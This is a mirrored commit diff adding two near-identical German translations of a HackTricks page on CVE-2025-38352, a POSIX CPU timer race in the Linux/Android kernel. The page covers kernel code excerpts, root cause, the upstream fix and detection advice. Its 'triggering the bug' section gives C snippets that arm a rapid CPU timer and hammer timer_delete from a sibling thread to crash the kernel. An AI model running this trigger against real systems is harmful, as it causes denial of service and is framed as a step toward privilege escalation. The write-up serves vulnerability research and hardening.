mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/linux-kernel-exploitation/posix-cpu
This commit is contained in:
Translator
parent
a5c2611e67
commit
f66a085a88
@ -937,3 +937,5 @@
|
||||
- [Post Exploitation](todo/post-exploitation.md)
|
||||
- [Investment Terms](todo/investment-terms.md)
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
|
||||
- [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
||||
@ -0,0 +1,195 @@
|
||||
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Diese Seite dokumentiert eine TOCTOU-Rennbedingung in Linux/Android POSIX CPU timers, die den Timerzustand korruptieren und den Kernel zum Absturz bringen kann und unter bestimmten Umständen in Richtung privilege escalation gelenkt werden kann.
|
||||
|
||||
- Betroffene Komponente: kernel/time/posix-cpu-timers.c
|
||||
- Primitiv: Ablauf vs Löschung Race beim task exit
|
||||
- Konfigurationsabhängig: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
|
||||
|
||||
Kurzer interner Überblick (relevant für exploitation)
|
||||
- Drei CPU-Clocks steuern das Accounting der Timer über cpu_clock_sample():
|
||||
- CPUCLOCK_PROF: utime + stime
|
||||
- CPUCLOCK_VIRT: nur utime
|
||||
- CPUCLOCK_SCHED: task_sched_runtime()
|
||||
- Bei Timererstellung wird ein Timer an eine task/pid gekoppelt und die timerqueue-Knoten initialisiert:
|
||||
```c
|
||||
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
|
||||
struct pid *pid;
|
||||
rcu_read_lock();
|
||||
pid = pid_for_clock(new_timer->it_clock, false);
|
||||
if (!pid) { rcu_read_unlock(); return -EINVAL; }
|
||||
new_timer->kclock = &clock_posix_cpu;
|
||||
timerqueue_init(&new_timer->it.cpu.node);
|
||||
new_timer->it.cpu.pid = get_pid(pid);
|
||||
rcu_read_unlock();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
- Arming fügt in eine per-base timerqueue ein und kann den next-expiry cache aktualisieren:
|
||||
```c
|
||||
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
|
||||
struct posix_cputimer_base *base = timer_base(timer, p);
|
||||
struct cpu_timer *ctmr = &timer->it.cpu;
|
||||
u64 newexp = cpu_timer_getexpires(ctmr);
|
||||
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
|
||||
if (newexp < base->nextevt) base->nextevt = newexp;
|
||||
}
|
||||
```
|
||||
- Der Fast path vermeidet teure Verarbeitung, es sei denn zwischengespeicherte Ablaufzeiten deuten auf ein mögliches Auslösen hin:
|
||||
```c
|
||||
static inline bool fastpath_timer_check(struct task_struct *tsk) {
|
||||
struct posix_cputimers *pct = &tsk->posix_cputimers;
|
||||
if (!expiry_cache_is_inactive(pct)) {
|
||||
u64 samples[CPUCLOCK_MAX];
|
||||
task_sample_cputime(tsk, samples);
|
||||
if (task_cputimers_expired(samples, pct))
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
```
|
||||
- Ablauf sammelt abgelaufene Timer, kennzeichnet sie als ausgelöst, entfernt sie aus der Warteschlange; die tatsächliche Zustellung wird aufgeschoben:
|
||||
```c
|
||||
#define MAX_COLLECTED 20
|
||||
static u64 collect_timerqueue(struct timerqueue_head *head,
|
||||
struct list_head *firing, u64 now) {
|
||||
struct timerqueue_node *next; int i = 0;
|
||||
while ((next = timerqueue_getnext(head))) {
|
||||
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
|
||||
u64 expires = cpu_timer_getexpires(ctmr);
|
||||
if (++i == MAX_COLLECTED || now < expires) return expires;
|
||||
ctmr->firing = 1; // critical state
|
||||
rcu_assign_pointer(ctmr->handling, current);
|
||||
cpu_timer_dequeue(ctmr);
|
||||
list_add_tail(&ctmr->elist, firing);
|
||||
}
|
||||
return U64_MAX;
|
||||
}
|
||||
```
|
||||
Zwei Ablaufverarbeitungsmodi
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: Das Ablaufereignis wird über task_work auf die Ziel-Task verschoben
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: Das Ablaufereignis wird direkt im IRQ-Kontext verarbeitet
|
||||
```c
|
||||
void run_posix_cpu_timers(void) {
|
||||
struct task_struct *tsk = current;
|
||||
__run_posix_cpu_timers(tsk);
|
||||
}
|
||||
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
|
||||
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
|
||||
tsk->posix_cputimers_work.scheduled = true;
|
||||
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
|
||||
}
|
||||
#else
|
||||
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||
lockdep_posixtimer_enter();
|
||||
handle_posix_cpu_timers(tsk); // IRQ-context path
|
||||
lockdep_posixtimer_exit();
|
||||
}
|
||||
#endif
|
||||
```
|
||||
Im IRQ-context-Pfad wird die firing list außerhalb von sighand verarbeitet.
|
||||
```c
|
||||
static void handle_posix_cpu_timers(struct task_struct *tsk) {
|
||||
struct k_itimer *timer, *next; unsigned long flags, start;
|
||||
LIST_HEAD(firing);
|
||||
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
|
||||
do {
|
||||
start = READ_ONCE(jiffies); barrier();
|
||||
check_thread_timers(tsk, &firing);
|
||||
check_process_timers(tsk, &firing);
|
||||
} while (!posix_cpu_timers_enable_work(tsk, start));
|
||||
unlock_task_sighand(tsk, &flags); // race window opens here
|
||||
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
|
||||
int cpu_firing;
|
||||
spin_lock(&timer->it_lock);
|
||||
list_del_init(&timer->it.cpu.elist);
|
||||
cpu_firing = timer->it.cpu.firing; // read then reset
|
||||
timer->it.cpu.firing = 0;
|
||||
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
|
||||
rcu_assign_pointer(timer->it.cpu.handling, NULL);
|
||||
spin_unlock(&timer->it_lock);
|
||||
}
|
||||
}
|
||||
```
|
||||
Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
|
||||
Preconditions
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
|
||||
- The target task is exiting but not fully reaped
|
||||
- Another thread concurrently calls posix_cpu_timer_del() for the same timer
|
||||
|
||||
Sequence
|
||||
1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
|
||||
2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
|
||||
3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
|
||||
4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
|
||||
5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
|
||||
|
||||
Why TASK_WORK mode is safe by design
|
||||
- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
|
||||
- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
|
||||
|
||||
Fix (Android common kernel) and rationale
|
||||
- Add an early return if current task is exiting, gating all processing:
|
||||
```c
|
||||
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
|
||||
if (tsk->exit_state)
|
||||
return;
|
||||
```
|
||||
- Dadurch wird verhindert, dass handle_posix_cpu_timers() für gerade beendete Tasks betreten wird, wodurch das Zeitfenster entfällt, in dem posix_cpu_timer_del() it.cpu.firing übersehen und mit der Ablaufverarbeitung um Ressourcen konkurrieren könnte.
|
||||
|
||||
Impact
|
||||
- Kernel-Speicherbeschädigung von Timer-Strukturen während gleichzeitiger Ablauf-/Löschvorgänge kann unmittelbare Abstürze (DoS) verursachen und ist ein starkes Primitive für privilege escalation aufgrund der Möglichkeiten zur beliebigen Kernel-Zustandsmanipulation.
|
||||
|
||||
Triggering the bug (safe, reproducible conditions)
|
||||
Build/config
|
||||
- Stellen Sie sicher, dass CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n gesetzt ist und verwenden Sie einen Kernel ohne den exit_state-Gating-Fix.
|
||||
|
||||
Runtime strategy
|
||||
- Zielen Sie auf einen Thread, der kurz vor dem Beenden steht, und hängen Sie einen CPU-Timer daran an (pro Thread oder prozessweite Uhr):
|
||||
- Für pro Thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
|
||||
- Für prozessweite Uhr: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
|
||||
- Rüsten Sie mit einer sehr kurzen initialen Ablaufzeit und einem kleinen Intervall, um Eintritte in den IRQ-Pfad zu maximieren:
|
||||
```c
|
||||
static timer_t t;
|
||||
static void setup_cpu_timer(void) {
|
||||
struct sigevent sev = {0};
|
||||
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
|
||||
sev.sigev_signo = SIGUSR1;
|
||||
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
|
||||
struct itimerspec its = {0};
|
||||
its.it_value.tv_nsec = 1; // fire ASAP
|
||||
its.it_interval.tv_nsec = 1; // re-fire
|
||||
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
|
||||
}
|
||||
```
|
||||
- Aus einem Geschwister-Thread denselben Timer gleichzeitig löschen, während der Ziel-Thread beendet wird:
|
||||
```c
|
||||
void *deleter(void *arg) {
|
||||
for (;;) (void)timer_delete(t); // hammer delete in a loop
|
||||
}
|
||||
```
|
||||
- Race amplifiers: hohe Scheduler-Tickrate, CPU-Last, wiederholte Thread-Exit/Recreate-Zyklen. Der Absturz tritt typischerweise auf, wenn posix_cpu_timer_del() das Erkennen eines firing überspringt, weil task lookup/locking direkt nach unlock_task_sighand() fehlschlägt.
|
||||
|
||||
Erkennung und Härtung
|
||||
- Gegenmaßnahme: apply the exit_state guard; vorzugsweise CONFIG_POSIX_CPU_TIMERS_TASK_WORK aktivieren, wenn möglich.
|
||||
- Beobachtbarkeit: tracepoints/WARN_ONCE um unlock_task_sighand()/posix_cpu_timer_del() hinzufügen; alarmieren, wenn it.cpu.firing==1 zusammen mit fehlgeschlagener cpu_timer_task_rcu()/lock_task_sighand() beobachtet wird; auf timerqueue-Inkonsistenzen rund um task exit achten.
|
||||
|
||||
Audit-Hotspots (für Reviewer)
|
||||
- update_process_times() → run_posix_cpu_timers() (IRQ)
|
||||
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
|
||||
- collect_timerqueue(): sets ctmr->firing and moves nodes
|
||||
- handle_posix_cpu_timers(): drops sighand before firing loop
|
||||
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
|
||||
|
||||
Notes for exploitation research
|
||||
- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.
|
||||
|
||||
## Referenzen
|
||||
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
|
||||
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
|
||||
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@ -0,0 +1,196 @@
|
||||
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Diese Seite dokumentiert eine TOCTOU-Race-Bedingung in Linux/Android POSIX CPU timers, die den Timerzustand korrumpieren und den Kernel zum Absturz bringen kann und unter bestimmten Umständen zur privilege escalation genutzt werden kann.
|
||||
|
||||
- Betroffene Komponente: kernel/time/posix-cpu-timers.c
|
||||
- Primitive: Ablauf- vs Lösch-Race bei Task-Beendigung
|
||||
- Konfigurationsabhängig: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
|
||||
|
||||
Kurze interne Zusammenfassung (relevant für die Ausnutzung)
|
||||
- Drei CPU-Clocks treiben die Abrechnung für Timer via cpu_clock_sample() an:
|
||||
- CPUCLOCK_PROF: utime + stime
|
||||
- CPUCLOCK_VIRT: utime only
|
||||
- CPUCLOCK_SCHED: task_sched_runtime()
|
||||
- Die Timererstellung verbindet einen Timer mit einer task/pid und initialisiert die timerqueue-Nodes:
|
||||
```c
|
||||
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
|
||||
struct pid *pid;
|
||||
rcu_read_lock();
|
||||
pid = pid_for_clock(new_timer->it_clock, false);
|
||||
if (!pid) { rcu_read_unlock(); return -EINVAL; }
|
||||
new_timer->kclock = &clock_posix_cpu;
|
||||
timerqueue_init(&new_timer->it.cpu.node);
|
||||
new_timer->it.cpu.pid = get_pid(pid);
|
||||
rcu_read_unlock();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
- Arming fügt einen Eintrag in eine per-base timerqueue ein und kann den next-expiry cache aktualisieren:
|
||||
```c
|
||||
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
|
||||
struct posix_cputimer_base *base = timer_base(timer, p);
|
||||
struct cpu_timer *ctmr = &timer->it.cpu;
|
||||
u64 newexp = cpu_timer_getexpires(ctmr);
|
||||
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
|
||||
if (newexp < base->nextevt) base->nextevt = newexp;
|
||||
}
|
||||
```
|
||||
Der Fast path vermeidet aufwändige Verarbeitung, es sei denn, zwischengespeicherte Ablaufzeiten deuten auf ein mögliches Auslösen hin:
|
||||
```c
|
||||
static inline bool fastpath_timer_check(struct task_struct *tsk) {
|
||||
struct posix_cputimers *pct = &tsk->posix_cputimers;
|
||||
if (!expiry_cache_is_inactive(pct)) {
|
||||
u64 samples[CPUCLOCK_MAX];
|
||||
task_sample_cputime(tsk, samples);
|
||||
if (task_cputimers_expired(samples, pct))
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
```
|
||||
- Expiration sammelt abgelaufene Timer, markiert sie als ausgelöst, verschiebt sie aus der Warteschlange; die eigentliche Zustellung wird aufgeschoben:
|
||||
```c
|
||||
#define MAX_COLLECTED 20
|
||||
static u64 collect_timerqueue(struct timerqueue_head *head,
|
||||
struct list_head *firing, u64 now) {
|
||||
struct timerqueue_node *next; int i = 0;
|
||||
while ((next = timerqueue_getnext(head))) {
|
||||
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
|
||||
u64 expires = cpu_timer_getexpires(ctmr);
|
||||
if (++i == MAX_COLLECTED || now < expires) return expires;
|
||||
ctmr->firing = 1; // critical state
|
||||
rcu_assign_pointer(ctmr->handling, current);
|
||||
cpu_timer_dequeue(ctmr);
|
||||
list_add_tail(&ctmr->elist, firing);
|
||||
}
|
||||
return U64_MAX;
|
||||
}
|
||||
```
|
||||
Zwei Modi zur Ablaufverarbeitung
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: Ablauf wird über task_work auf dem Ziel-Task verzögert
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: Ablauf wird direkt im IRQ-Kontext behandelt
|
||||
```c
|
||||
void run_posix_cpu_timers(void) {
|
||||
struct task_struct *tsk = current;
|
||||
__run_posix_cpu_timers(tsk);
|
||||
}
|
||||
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
|
||||
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
|
||||
tsk->posix_cputimers_work.scheduled = true;
|
||||
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
|
||||
}
|
||||
#else
|
||||
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||
lockdep_posixtimer_enter();
|
||||
handle_posix_cpu_timers(tsk); // IRQ-context path
|
||||
lockdep_posixtimer_exit();
|
||||
}
|
||||
#endif
|
||||
```
|
||||
Im IRQ-context-Pfad wird die firing list außerhalb von sighand verarbeitet.
|
||||
```c
|
||||
static void handle_posix_cpu_timers(struct task_struct *tsk) {
|
||||
struct k_itimer *timer, *next; unsigned long flags, start;
|
||||
LIST_HEAD(firing);
|
||||
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
|
||||
do {
|
||||
start = READ_ONCE(jiffies); barrier();
|
||||
check_thread_timers(tsk, &firing);
|
||||
check_process_timers(tsk, &firing);
|
||||
} while (!posix_cpu_timers_enable_work(tsk, start));
|
||||
unlock_task_sighand(tsk, &flags); // race window opens here
|
||||
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
|
||||
int cpu_firing;
|
||||
spin_lock(&timer->it_lock);
|
||||
list_del_init(&timer->it.cpu.elist);
|
||||
cpu_firing = timer->it.cpu.firing; // read then reset
|
||||
timer->it.cpu.firing = 0;
|
||||
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
|
||||
rcu_assign_pointer(timer->it.cpu.handling, NULL);
|
||||
spin_unlock(&timer->it_lock);
|
||||
}
|
||||
}
|
||||
```
|
||||
Ursache: TOCTOU zwischen IRQ-time Ablauf und gleichzeitiger Löschung beim Task-Exit
|
||||
|
||||
Preconditions
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
|
||||
- Der Ziel-Task beendet sich, wurde jedoch noch nicht vollständig aufgeräumt
|
||||
- Ein anderer Thread ruft gleichzeitig posix_cpu_timer_del() für denselben Timer auf
|
||||
|
||||
Sequence
|
||||
1) update_process_times() löst run_posix_cpu_timers() im IRQ-Kontext für den beendenden Task aus.
|
||||
2) collect_timerqueue() setzt ctmr->firing = 1 und verschiebt den Timer in die temporäre firing-Liste.
|
||||
3) handle_posix_cpu_timers() gibt sighand via unlock_task_sighand() frei, um Timer außerhalb der Sperre auszuliefern.
|
||||
4) Unmittelbar nach dem Unlock kann der beendende Task aufgeräumt werden; ein anderer Thread führt posix_cpu_timer_del() aus.
|
||||
5) In diesem Fenster kann posix_cpu_timer_del() daran scheitern, den state via cpu_timer_task_rcu()/lock_task_sighand() zu erwerben und überspringt dadurch die normale In-Flight-Prüfung, die timer->it.cpu.firing überprüft. Die Löschung wird so fortgesetzt, als wäre nicht firing, wodurch der Zustand während der Ablaufbehandlung beschädigt wird und zu Abstürzen/UB führt.
|
||||
|
||||
Why TASK_WORK mode is safe by design
|
||||
- Bei CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y wird der Ablauf auf task_work verschoben; exit_task_work läuft vor exit_notify, sodass die IRQ-time Überlappung mit dem Reaping nicht auftritt.
|
||||
- Selbst dann, wenn der Task bereits beendet ist, schlägt task_work_add() fehl; die Prüfung von exit_state macht beide Modi konsistent.
|
||||
|
||||
Fix (Android common kernel) and rationale
|
||||
- Füge eine frühe Rückgabe hinzu, falls current task exiting ist, die die gesamte Verarbeitung verhindert:
|
||||
```c
|
||||
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
|
||||
if (tsk->exit_state)
|
||||
return;
|
||||
```
|
||||
- Dies verhindert das Betreten von handle_posix_cpu_timers() für beendete Tasks und eliminiert das Zeitfenster, in dem posix_cpu_timer_del() it.cpu.firing übersehen könnte und mit der Ablaufverarbeitung in einen Wettlauf geraten kann.
|
||||
|
||||
Auswirkung
|
||||
- Kernel memory corruption of timer structures during concurrent expiry/deletion can yield immediate crashes (DoS) and is a strong primitive toward privilege escalation due to arbitrary kernel-state manipulation opportunities.
|
||||
|
||||
Auslösen des Bugs (sichere, reproduzierbare Bedingungen)
|
||||
Build/Konfiguration
|
||||
- Stelle sicher, dass CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n gesetzt ist und verwende einen Kernel ohne den exit_state gating-Fix.
|
||||
|
||||
Laufzeitstrategie
|
||||
- Ziele auf einen Thread, der kurz davor ist zu beenden, und hänge einen CPU-Timer an ihn an (per-thread or process-wide clock):
|
||||
- Für per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
|
||||
- Für process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
|
||||
- Setze eine sehr kurze anfängliche Ablaufzeit und ein kleines Intervall, um die Anzahl der IRQ-Pfad-Einträge zu maximieren:
|
||||
```c
|
||||
static timer_t t;
|
||||
static void setup_cpu_timer(void) {
|
||||
struct sigevent sev = {0};
|
||||
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
|
||||
sev.sigev_signo = SIGUSR1;
|
||||
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
|
||||
struct itimerspec its = {0};
|
||||
its.it_value.tv_nsec = 1; // fire ASAP
|
||||
its.it_interval.tv_nsec = 1; // re-fire
|
||||
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
|
||||
}
|
||||
```
|
||||
- Aus einem sibling-Thread gleichzeitig denselben Timer löschen, während der Ziel-Thread beendet wird:
|
||||
```c
|
||||
void *deleter(void *arg) {
|
||||
for (;;) (void)timer_delete(t); // hammer delete in a loop
|
||||
}
|
||||
```
|
||||
- Race-Verstärker: hohe Scheduler-Tick-Rate, CPU-Last, wiederholte Thread-Exit/Recreate-Zyklen. Der Crash äußert sich typischerweise, wenn posix_cpu_timer_del() das Erkennen des Auslösens überspringt, weil die Task-Suche/-Sperrung unmittelbar nach unlock_task_sighand() fehlschlägt.
|
||||
|
||||
Erkennung und Härtung
|
||||
- Minderung: wende den exit_state-Guard an; bevorzuge das Aktivieren von CONFIG_POSIX_CPU_TIMERS_TASK_WORK, wenn möglich.
|
||||
- Beobachtbarkeit: Füge tracepoints/WARN_ONCE um unlock_task_sighand()/posix_cpu_timer_del() hinzu; alarmiere, wenn it.cpu.firing==1 zusammen mit fehlschlagendem cpu_timer_task_rcu()/lock_task_sighand() beobachtet wird; achte auf Inkonsistenzen in timerqueue rund um Task-Beendigung.
|
||||
|
||||
Audit-Hotspots (für Reviewer)
|
||||
- update_process_times() → run_posix_cpu_timers() (IRQ)
|
||||
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
|
||||
- collect_timerqueue(): setzt ctmr->firing und verschiebt Knoten
|
||||
- handle_posix_cpu_timers(): gibt sighand frei, bevor die firing-Schleife startet
|
||||
- posix_cpu_timer_del(): verlässt sich auf it.cpu.firing, um laufende Ablaufereignisse zu erkennen; diese Prüfung wird übersprungen, wenn Task-Suche/-Sperrung während exit/reap fehlschlägt
|
||||
|
||||
Hinweise für Exploit-Forschung
|
||||
- Das offengelegte Verhalten ist ein zuverlässiges Kernel-Crash-Primitive; um es in eine Privilegieneskalation umzuwandeln, ist typischerweise eine zusätzliche kontrollierbare Überlappung (object lifetime oder write-what-where-Einfluss) erforderlich, die über den Rahmen dieser Zusammenfassung hinausgeht. Behandle jeden PoC als potenziell destabilisierend und führe ihn nur in Emulatoren/VMs aus.
|
||||
|
||||
## Referenzen
|
||||
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
|
||||
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
|
||||
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Loading…
x
Reference in New Issue
Block a user